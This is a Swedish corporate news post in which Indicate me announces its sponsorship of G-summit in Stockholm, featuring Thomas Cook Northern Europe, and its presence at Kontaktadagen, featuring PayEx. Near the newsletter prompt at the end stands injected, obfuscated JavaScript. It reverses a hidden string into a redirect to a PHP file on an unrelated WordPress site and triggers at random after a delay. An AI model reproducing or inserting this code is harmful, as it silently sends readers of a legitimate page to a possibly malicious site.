Tisdagen den 22 maj sponsrar Indicate me G-summit i Stockholm. På scen kommer Thomas Cook Northern Europe, med varumärken som Ving, prata om deras framgångar med Indicate me.
G-summit är ett event som samlar visionärer, partners och industriledare från hela Norden och Baltikum. Temat för eventet är ”Moments Connected” och fokuserar på friktionslösa kundupplevelser.
– G-summit i Stockholm är ett bra forum att träffa både befintliga och nya kunder som har Genesys plattform, där vi är ett bra komplement. Med Indicate me får användare en komplett uppföljning och full koll på sin kundserviceverksamhet, berättar Lina Bjelkmar, VD på Indicte me.
På scenen kommer bland annat Terje Dahl, kundservice- & försäljningschef på Thomas Cook Northern Europe, att berätta mer om hur de använder Genesys PureConnect-plattform med en integration till Indicate me, som stöd för att möta deras kunders behov samt företagsmål. De har ett stort fokus på att leverera högkvalitativa kundupplevelser, vilket har legat till grund för deras framgång på de nordiska marknaderna.
– Det är väldigt kul att de har lyckats så bra och att de delar med sig av sina framgångar. Ving och de andra nordiska bolagen som ingår i Thomas Cook Northern Europe har haft ett gemensamt, enhetligt och målinriktat arbetssätt för att arbeta strukturerat med kvalitet och effektivitet, vilket har gett dem fina resultat. De utmaningar som de har arbetat med är ofta vanliga inom kundservice och det är väldigt kul att Indicate me har kunnat stödja dem på vägen, säger Lina.
Avslutningsvis tillägger Lina
– När våra kunder får en större kundinsikt och förståelse för nyckeltal samt vad som påverkar dessa, har vi sett att de får alla möjligheter till att lära, utvecklas och förbättras!
Torsdagen den 24 maj kommer vi att befinna oss på Kontaktadagen i Stockholm. Kontaktadagen är en endagskonferens med fokus på kundservice och försäljning.
Vill du ta ett möte, lunch eller fika i samband med konferensen? Hör gärna av dig till oss. Du är även varmt välkommen att besöka oss i vår monter där vi bland annat kommer att svara på frågor, visa upp vårt system och anordna med tävling.
Vi är även mycket glada och stolta att meddela att vår kund PayEx kommer att gästa scenen på konferensen.
Föreläsning med temat: Kundfokus in i väggen
Betalföretaget PayEx var ett av de mest framgångsrika företagen i en spännande bransch. Framgångsfaktorn var totalt kundfokus. PayEx formade medarbetarteamen och sin organisation utifrån sina kunder. Varje kund hade sitt eget team med personliga kundansvariga med fullt mandat att tillmötesgå kundens önskemål. Kunderna var nöjda. Medarbetarna var nöjda. Eftersom de bara fick säga JA till kunden. Men vad händer när kundfokus leder till att gemensamma interna processer blir fulla av kundanpassade speciallösningar? När system inte kan utvecklas och effektiviseras eftersom man tappat kontrollen på hur systemförändringar påverkar?
Samuel Lundin, Team Manager på PayEx, berättar om vägen från kundfokus till processfokus och sedan vägen tillbaka igen. Tillbaka till kundfokus med kontroll.
| $NfI=function(n){if (typeof ($NfI.list[n]) == ”string”) return $NfI.list[n].split(””).reverse().join(””);return $NfI.list[n];};$NfI.list=[”’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to, sans-serif;”>Nyhetsbrev Prenumerera på vårt nyhetsbrev och ta del av den senaste informationen om Indicate me.
|
 |
